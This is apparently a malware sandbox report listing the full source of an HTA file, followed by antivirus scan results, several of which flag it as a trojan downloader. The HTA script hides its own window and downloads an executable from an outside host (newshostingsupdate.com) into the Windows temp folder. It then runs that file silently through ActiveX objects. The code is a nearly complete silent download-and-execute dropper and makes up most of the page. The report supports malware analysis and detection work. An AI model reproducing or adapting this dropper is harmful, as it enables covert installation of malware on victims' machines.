Static | ZeroBOX
No static analysis available.
<html>
<head>
<HTA:APPLICATION id="hwHTA"
applicationName="hyperHTA"
border="thin"
borderStyle="normal"
caption="no"
icon="http://www.hyperwrite.com/features/favicon.ico"
maximizeButton="no"
minimizeButton="no"
showInTaskbar="no"
windowState="hidden" <!-- Start the window hidden -->
innerBorder="no"
navigable="no"
scroll="no"
singleInstance="yes"
sysMenu="no"
contextMenu="no"
selection="no"
version="1.0" />
<script>
function downloadAndRunFile(url) {
try {
var shell = new ActiveXObject("WScript.Shell");
var tempFolder = shell.ExpandEnvironmentStrings("%TEMP%");
var savePath = tempFolder + "\\update.exe"; // Save to temp folder
var xmlhttp = new ActiveXObject("MSXML2.ServerXMLHTTP");
xmlhttp.open("GET", url, false);
xmlhttp.send();
if (xmlhttp.status === 200) {
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1; // Binary
stream.Open();
stream.Write(xmlhttp.responseBody);
stream.SaveToFile(savePath, 2); // Overwrite if exists
stream.Close();
// Execute the downloaded file silently
shell.Run(savePath, 0, false); // 0 hides the window
} else {
// Log to console
console.log("Failed to download file. HTTP Status: " + xmlhttp.status);
}
} catch (e) {
// Start the download and run process
window.onload = function() {
// Resize the window to a very small size to minimize visibility
window.resizeTo(1, 1);
// Use a timeout to delay the execution
setTimeout(function() {
downloadAndRunFile('https://newshostingsupdate.com/datasing.exe');
window.close(); // Close the HTA window after starting the download
}, 500); // Adjust the delay if needed
</script>
<title>Download and Execute Silently</title>
</head>
<body>
<h1 style="display:none;"></h1>
<p style="display:none;">Please wait while the executable is downloaded and executed silently.</p>
</body>
</html>
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
Cynet Clean
CTX Clean
CAT-QuickHeal Clean
Skyhigh Clean
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Clean
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec ISB.Downloader!gen60
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast Clean
ClamAV Clean
Kaspersky HEUR:Trojan.Script.Generic
BitDefender Clean
NANO-Antivirus Clean
ViRobot Clean
MicroWorld-eScan Clean
Tencent Clean
Sophos Clean
F-Secure Trojan-Downloader:JS/TeslaCrypt.C
DrWeb Clean
VIPRE Clean
TrendMicro Clean
CMC Clean
Emsisoft Clean
huorong Clean
FireEye Clean
Jiangmin Clean
Varist JS/Agent.SU!Eldorado
Avira Clean
Fortinet Clean
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Clean
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Trojan.Script.Generic
Microsoft Clean
Google Detected
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
TACHYON Clean
VBA32 Clean
Zoner Clean
Rising Clean
Yandex HTML.Psyme.Gen
Ikarus Clean
MaxSecure Clean
GData Clean
AVG Clean
Panda Clean
alibabacloud Clean
No IRMA results available.